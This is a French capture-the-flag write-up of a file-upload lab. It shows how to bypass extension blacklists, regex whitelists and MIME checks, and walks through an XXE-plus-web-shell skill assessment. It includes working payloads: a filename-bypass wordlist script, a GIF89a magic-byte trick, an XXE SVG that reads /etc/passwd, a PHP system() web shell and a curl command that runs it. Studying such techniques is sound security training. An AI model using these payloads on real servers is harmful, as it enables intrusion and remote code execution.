🛡️ Blacklist Filters

En essayant d'uploader un shell PHP classique, on remarque que la protection est bien plus stricte, et cette fois-ci côté serveur.

🔎 L'idée est donc de cibler les extensions acceptées par le serveur.

⚙️ Étapes de l'attaque :

1. On upload d'abord une image classique pour observer le comportement du serveur.
2. Ensuite, on intercepte la requête avec Burp Suite.
3. On réalise un fuzzing sur l'extension du fichier à l'aide de la liste fournie par PayloadsAllTheThings.
4. On découvre que plusieurs extensions "exotiques" sont autorisées.

✅ Parmi elles, l'extension .phar fonctionne.

✅ Exploitation :

On modifie notre fichier shell pour qu’il ait l’extension .phar, puis on l’upload.

📥 Une fois le fichier en place, on le déclenche…
🎉 Et on obtient le flag !

🛡️ Whitelist Filters

Dans certains challenges, les filtres côté serveur reposent sur une whitelist d’extensions autorisées, souvent implémentée via une expression régulière.
Mais ces regex peuvent être mal conçues et donc vulnérables à des contournements.

🧰 Génération de la wordlist

Pour tester différentes combinaisons de noms de fichiers, on génère une wordlist avec ce script :

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do for ext in '.php' '.phps' '.phar' '.phtml'; do echo "shell$char$ext.jpg" >> wordlist.txt echo "shell$ext$char.jpg" >> wordlist.txt echo "shell.jpg$char$ext" >> wordlist.txt echo "shell.jpg$ext$char" >> wordlist.txt done done

Avec Burp Suite Intruder, on utilise notre wordlist pour tester l'upload fichier par fichier. On observe les réponses du serveur pour savoir lesquels sont acceptés, rejetés, ou uploadés mais inaccessibles.

⚠️ Problèmes rencontrés Certains fichiers sont bien uploadés, mais inaccessibles via HTTP.

D’autres génèrent des erreurs de permission à l’exécution.

Il faut donc tester plusieurs combinaisons jusqu’à trouver un contournement fonctionnel. Dans mon cas, un fichier avec l’extension .phar.jpeg a été accepté et interprété comme du PHP via une requête comme suit :

curl http://94.237.51.163:44971/profile_images/shell.phar.jpeg?cmd=cat%20/flag.txt

🛡️ Type Filters

Dans ce scénario, on ne filtre plus seulement les extensions, mais également le type MIME déclaré dans la requête HTTP.
On doit donc combiner plusieurs techniques pour contourner les protections.

🎯 Objectif : Bypasser le filtrage MIME

On utilise ici une approche en deux temps :

1. Réutiliser l'extension .phar.jpg, déjà acceptée précédemment.
2. Fuzzer le header Content-Type pour déterminer les types autorisés.

🔍 Fuzzing du Content-Type

En testant plusieurs valeurs via Burp Suite, on découvre que le serveur accepte :

Content-Type: image/gif

Payload final

On commence le fichier par GIF89a pour bypasser la vérification magique.

Puis on insère un shell PHP classique dans le reste du fichier.

On l’envoie avec Content-Type: image/gif.

Et le serveur l'accepte !

🛠️ Skill Assessments — Write-up

🖼️ Étape 1 : Point d’entrée — upload d’image

On commence par repérer le seul endroit où il est possible d’uploader un fichier :

le formulaire de contact

Cependant, seules les images (avec extension .jpg, .jpeg, etc.) sont autorisées.
On va donc contourner cette vérification en uploadant un fichier SVG déguisé en JPEG (extension .jpg).

🐛 Étape 2 : Injection XML avec un fichier SVG

Objectif : exploiter une Stored XSS ou une XXE (XML External Entity) via un fichier SVG.

Voici un exemple de payload SVG contenant une entité externe (XXE) pour lire des fichiers côté serveur :

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg>&xxe;</svg>

✅ Une fois le fichier uploadé, on obtient bien un retour contenant le contenu de /etc/passwd.

🔍 Étape 3 : Trouver le chemin du fichier uploadé

On cherche maintenant à connaître le dossier de destination des fichiers uploadés.

En lisant le fichier upload.php grâce à une autre XXE (ou lecture directe), on trouve quelque chose de ce type :

Une fois décodé (souvent encodé en base64), on découvre que les fichiers sont enregistrés dans :

user_feedback_submissions/

Et qu’ils sont renommés à l’upload, typiquement avec un préfixe basé sur la date (date('ymd')).

💣 Étape 4 : Upload de shell déguisé + exécution

On combine tout ce qu’on a appris :

• On crée un fichier PHP contenant du code malveillant
• On le renomme avec une extension .jpg pour bypasser les filtres (shell.phar.jpg)
• On utilise une vraie image contenant les bons magic bytes JPEG (FF D8) + payload PHP
• On upload ce fichier, puis on accède à son chemin public, par exemple :

/user_feedback_submissions/250620_shell.phar.jpg

Exemple de contenu PHP dans l’image :

<?php echo system($_GET['cmd']); ?>

🏁 Étape 5 : Extraction du flag

Il suffit maintenant d’utiliser un paramètre comme ?cmd=cat flag.txt, ou d’explorer les fichiers sensibles.
Le flag est récupéré avec succès via le shell distant.

✅ Résumé